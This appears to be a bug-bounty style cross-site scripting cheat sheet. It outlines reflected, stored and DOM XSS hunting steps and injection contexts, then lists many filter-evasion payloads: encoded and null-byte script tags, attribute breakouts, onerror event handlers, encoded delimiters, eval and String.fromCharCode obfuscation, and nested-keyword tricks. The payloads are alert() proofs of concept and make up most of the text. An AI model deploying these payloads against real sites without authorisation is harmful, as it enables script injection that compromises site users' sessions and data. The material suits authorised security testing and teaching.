XSS Cheat sheet

Active XSS hunting

Attack strategy

Types of XSS

aReflected XSS-Stored XSSDOM XSS
Value reflectionValue is not stored in database but instead from a GET or POST parameterValue is stored in database and gotten from thereValue gets put into DOM Sink
Test objectivesIdentify where a value is stored into the DB and reflected back onto the page + Assess the input they accept and see if we can't pass around any filtersIdentify where a value is reflected into the response + Assess the input they accept and see if we can't pass around any filtersIdentify where a value is put into a DOM sink and reflected back onto the page + Assess the input they accept and see if we can't pass around any filters
Step 1Detect input vectors by testing ALL parametersDetect input vectors by testing ALL parametersStatic code review works best for this
Step 2Analyse the results depending on the contextAnalyse the results depending on the contextFind the DOM sinks by entering a random value and looking at the developer console, try to find the value where it is reflected and the context
Step 3Check impact of attack vectorCheck impact of attack vectorAttacker MUST use developer console and not inspect source as that will not show DOM elements
Untitled

Passive XSS hunting

Attack strategy

Enter "'`><u>Rat was here<img src=x> into every fields that you see.

If you encounter a value that's reflected, determine context.

Contexts

ColumnJavaScript contextHTML Tag contextHTML Tag attribute context
Attack vector'"`<u>Rat was here + <img src=x>"'`>
BreaksBreaks javascript functionsNothing, reflects value into HTML context without sanitise, allowing for own tagsHTML tag attribute such as "Value" for <input> tag
ExploitTry to insert our own JS codeAdd event handlers to tagsInsert JS event handler or JS code into tag
Example '); alert(); —<img src=x onerror=alert()>' alert(); '

Filter evasion

Techniques

NameTagsColumn
Basic modifications<script>alert(1)</script> <script >alert(1)</script> <script >alert(1)</script> Encoded tabs/newlines/CR <script&#9>alert(1)</script> <script&#10>alert(1)</script> <script&#13>alert(1)</script> Capital letters <ScRipT>alert(1)</sCriPt>Adding nullbytes: <%00script>alert(1)</script> <script>al%00ert(1)</script>Doing basic things like adding spaces, encoding tabs, newlines and carriege rerurns can do a lot alread
Attributes and tags<input type="text" name="input" value="hello"> <input type="text" name="input" value="><script>alert(1)</script> <randomtag type="text" name="input" value="><script>alert(1)</script> <input/type="text" name="input" value="><script>alert(1)</script> <input&#9type="text" name="input" value="><script>alert(1)</script> <input&#10type="text" name="input" value="><script>alert(1)</script> <input&#13type="text" name="input" value="><script>alert(1)</script> <input/'type="text" name="input" value="><script>alert(1)</script> <iNpUt type="text" name="input" value="><script>alert(1)</script> <%00input type="text" name="input" value="><script>alert(1)</script> <inp%00ut type="text" name="input" value="><script>alert(1)</script> <input t%00ype="text" name="input" value="><script>alert(1)</script> <input type="text" name="input" value="><script>a%00lert(1)</script>We can do the same basic modifications to attribute tags and add things like nullbytes
Event handlersUse burp intruder, select your event handler that's blocked and use burp suites cheat sheet to test all event handlersTry all different event handlers https://portswigger.net/web-security/cross-site-scripting/cheat-sheet Use burp intruder
Delimiters and brackers<img onerror="alert(1)"src=x> <img onerror='alert(1)'src=x> URL encodign <img onerror=&#34alert(1)&#34src=x> <img onerror=&#39alert(1)&#39src=x> Backticks <img onerror=alert(1)src=x> Encoded backtics <img onerror=&#96alert(1)&#96src=x>Sometimes we can play with things like delimiters by encoding them if they are blocked
Delimiters and brackers - 2 Double use of delimiters <<script>alert(1)//<</script> Unknown delimiters «input onsubmit=alert(1)» Encoded &#174input onsubmit=alert(1)&#175
Eval()<script>eval('a\u006cert(1)')</script> <script>eval('al' + 'ert(1)')</script> <script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script>We can also make use of the eval() function in JS to obfuscate some strings so they won't be filtered
Using filtered words in filtered wordsIf script is filtered <scrscriptipt> might become <script>This helped me find many bounties 😂
Use your imagination <3

🎩Hide01